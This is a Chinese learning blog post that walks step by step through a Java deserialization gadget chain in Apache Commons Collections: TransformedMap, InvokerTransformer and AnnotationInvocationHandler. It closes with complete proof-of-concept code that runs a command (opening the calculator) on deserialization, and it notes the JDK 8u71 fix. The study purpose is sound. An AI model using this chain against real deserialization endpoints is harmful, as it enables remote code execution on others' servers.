• 反序列化Gadget学习篇二 CommonCollections0.5


    学习JAVA安全漫谈,理解CC利用链,按步骤理解每一个部分,每一个点为什么是这样的。

    P神学习⽅式的探索

    有时候想要学习⼀个东⻄,⽹上搜索⼀下,发现有教程,于是跟着做⼀遍。这样⼀来,你会发现⽹上⼤部分Java反序列化“教程”、“⼊⻔”通常上来先了解Java反序列化是什么,然后很快开始讲CommonsCollections ,就好像刚知道C语⾔语法的同学⽴⻢继续学习Linux内核,我是⼗分不建议这样做的,除⾮你有⾮常强的理解能⼒。
    学习需要聪明⼀点,并独⽴思考问题。我很少参照别⼈的⽂章来学习,这样你学的东⻄是⼆⼿的,有时候连⼆⼿都不是,⽂章原作者也可能是参考另⼀篇⽂章写的。我的建议是从⽂档和源码开始学,实在有压⼒可以参考⼀些⻛评较好的书籍或技术博客。

    由URLDNS链入门,再分析CC链,明显效果好很多,感谢phith0n的JAVA安全漫谈系列文章,讲的非常清楚。

    为什么叫做CommonCollections0.5,因为不是严格意义上大家说的CC1,CC1链使用的是LazyMap,而不是TransformedMap,这部分主要是帮助理解反序列化链,避免误导叫做CC0.5

    一、 CC链核心(荷载payload)

    大佬们发现org.apache.commons.collections.Transformer 可以实现命令执行且可以被序列化于是有了:

    Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
            }; 
    Transformer transformerChain = new ChainedTransformer(transformers2);
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap,null, transformerChain);
    innerMap.put("value", "xxxx");
    

    首先Transformer是一个接口,ConstantTransformer和InvokerTransformer和ChainedTransformer都是实现了这个接口的类,这个接口只有一个transform方法,关键就在这个transform。

    1. 起点TransformedMap.decorate

    TransformedMap.decorate(map,keyTransformer,valueTransformer)
    

    这个函数的作用是给一个map设置一个回调,当有新的键值被put的时候,触发回调,对key用keyTransformer处理,对value用valueTransformer处理。这个valueTransformer可以传上面transform的任意一个实现类,比如transformerChain

    2. 链式调用transformerChain

    transformerChain通过一个Transformer数组初始化,循环调用这个数组中的每一个类的transform方法,并把结果重新赋值给下一个的参数,也就是通过这个链可以实现类似Runtime.getRuntime().exec("whoami")中点(.)的效果。

    3. 链式调用的头部ConstantTransformer

    ConstantTransformer 构造函数会把参数保存到字段中,在调用transform时返回

    正好通过这个类可以获取一个初始的对象,开始链式调用,因此就有了最前面的调用链。

    4. 触发

    一切准备就绪,只需要触发回调,也就是向Map中村一组数据:
    innerMap.put("value", "xxxx");
    即可触发,弹出计算器,到这一步就完成了通过CommonCollections执行任意命令

    二、反序列化触发(推进器)

    第一部分通过手动put一个值到Map中触发了命令执行。实际场景中我们需要通过反序列化来触发,需要找一个类,这个类的readObject()方法中有类似的向一个Map中put键值的操作:sun.reflect.annotation.AnnotationInvocationHandler

    这个类是一个内部类,无法直接实例化,需要通过反射修改属性调用,继续上面的代码,去掉手动put的部分,我们已经准备好了一个outerMap对象。

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            // 通过outmap初始化一个AnnotationInvocationHandler,注意这里的第一个参数Retention.class,有特殊作用,后面讲
            Object obj = constructor.newInstance(Retention.class, outerMap);
    

    到此为止,我们准备好了一个AnnotationInvocationHandler对象,只要对其进行序列化,发送给漏洞存在点,即可执行命令,模仿一下:

    ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            oos.close();
    
            System.out.println(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
            ois.readObject();
    

    执行后发现报错:

    java.lang.Runtime没有实现java.io.Serializable接口
    要把AnnotationInvocationHandler序列化,带序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable接口,但是Runtime是没有实现接口的,不允许被序列化,因此要通过反射去获取,要修改chain,分多个步骤返回,正常反射写法:

    Method f = Runtime.class.getMethod("getRuntime");
    Runtime r = (Runtime) f.invoke(null);
    r.exec("whomi");
    

    我们需要按照反射函数的参数类型和参数值写Transformer

    ransformer[] transformers2 = new Transformer[]{
                // 返回一个Runtime的class对象,class对象是实现了Serializable接口的,可以被序列化
                new ConstantTransformer(Runtime.class),
                // 调用Runtime.class.getMethod("getRuntime"),返回Method , 注意getMethod是有两个参数的,没有只有一个函数的重载版本
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // 调用Method.invoke(null) 返回Runtime对象
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                // 调用Runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
            };
    

    把Map绑定到改好的transformers2链上,就解决了报错的问题。

    继续执行计算器也没有执行。调试发现在AnnotationInvocationHandler的readObject()方法中有一个判断,var7!=null,直接按照上面的方法调用,var7就是null,因此没有执行到setValue赋值的位置。
    这个涉及到java注释(Annotation是注解的意思)相关,需要两个条件:

    • sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
    • 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
      这里关联到在用构造函数实例化AnnotationInvocationHandler时,参数使用的是Retention,因为这个类有一个value方法,且是Annotation的子类,所以需要在Map中放一个key是value的元素 java innerMap.put("value", "xxxx"); 修改后 run 成功:

    三、修复

    因为利用链并不是漏洞,只是一系列正常功能的组合,漏洞触发点在反序列的接口。因此没有针对性的修复,但是在8u71以后大概是2015年12月的时候,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

    改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

    因此使用TransformedMap的CommonCollections1只能在jdk8u71以前使用,环境要求较高,这也是为什么yso项目里面没有使用TransformedMap,而使用了LazyMap的原因。

    本文仅作为个人的学习记录,可能比原文要差很多,只记录自己的理解思路。完整代码在最后。

    完整思路代码:

    package changez.sec.CC1;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.*;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Method;
    import java.util.HashMap;
    import java.util.Map;
    
    // CC最简单demo,只是使用Transformer完成了一次命令执行,不涉及任何反射和反序列化,主要用于了解Transformer利用链。不是真正的poc
    public class CommonCollections1 {
        public static void main(String[] args) throws Exception{
            /* 3.2 要把AnnotationInvocationHandler序列化,带序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable接口,但是Runtime是没有实现接口的,不允许被序列化
            *      因此要通过反射去获取,要修改chain,分多个步骤返回,正常反射写法:
            *       Method f = Runtime.class.getMethod("getRuntime");
            *       Runtime r = (Runtime) f.invoke(null);
            *       r.exec("whomi");
            *      需要按照反射函数的参数类型和参数值写Transformer
            */
    
            Transformer[] transformers2 = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                // 调用Runtime.class.getMethod("getRuntime"),返回Method , 注意getMethod是有两个参数的,没有只有一个函数的重载版本
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // 调用Method.invoke(null) 返回Runtime对象
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                // 调用Runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
            };
            // 新的transformers2,里面没有用到任何其他对象,只有字符串,也就不存在不能序列化的问题
    
    
            // 1.初始化一个Transformer数组对象,第一个元素值是一个ConstantTransformer对象,第二个元素值是一个InvokerTransformer对象,这两个都是Transformer的实现类
            Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
            };
            // 2.初始化一个transformerChain,绑定到outerMap,也就是当outerMap有新增元素时,触发执行transformerChain链
            Transformer transformerChain = new ChainedTransformer(transformers2);
            Map innerMap = new HashMap();
            /**
             * 4.修改完3以后发现仍然没有计算器弹出, debug AnnotationInvocationHandler.readObject()方法发现有一个判断var7不能为null的判断,涉及到java注释相关,需要两个条件:
             *      * sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
             *      * 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
             *      这里关联到在用构造函数实例化AnnotationInvocationHandler时,参数使用的是Retention,因为这个类有一个value方法,且是Annotation的子类,所以需要在Map中放一个key是value的元素
             */
            innerMap.put("value", "xxxx");
            // 把Map和回调绑定
            Map outerMap = TransformedMap.decorate(innerMap,null, transformerChain);
            // 3.增加新元素触发
    //        outerMap.put("test", "xxxx");
    
            // 3.1 实战反序列化时,需要找到一个类,能完成类似的写入操作sun.reflect.annotation.AnnotationInvocationHandler
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            Object obj = constructor.newInstance(Retention.class, outerMap);
    
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            oos.close();
    
            System.out.println(bos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
            ois.readObject();
    
        }
    }
    
    

    参考链接;

    https://govuln.com/docs/
    https://kingx.me/commons-collections-java-deserialization.html
    https://www.anquanke.com/post/id/82934

  • 相关阅读:
    VS2010/MFC编程入门之十四(对话框:向导对话框的创建及显示)
    VS2010/MFC编程入门之十三(对话框:属性页对话框及相关类的介绍)
    Tomcat架构解析(四)-----Coyote、HTTP、AJP、HTTP2等协议
    Tomcat架构解析(三)-----Engine、host、context解析以及web应用加载
    Tomcat架构解析(二)-----Connector、Tomcat启动过程以及Server的创建过程
    Tomcat架构解析(一)-----Tomcat总体架构
    springboot深入学习(四)-----spring data、事务
    springboot深入学习(三)-----tomcat配置、websocket
    springboot深入学习(二)-----profile配置、运行原理、web开发
    springboot深入学习(一)-----springboot核心、配置文件加载、日志配置
  • 原文地址:https://www.cnblogs.com/chengez/p/CommonCollections0.html
Copyright © 2020-2023  润新知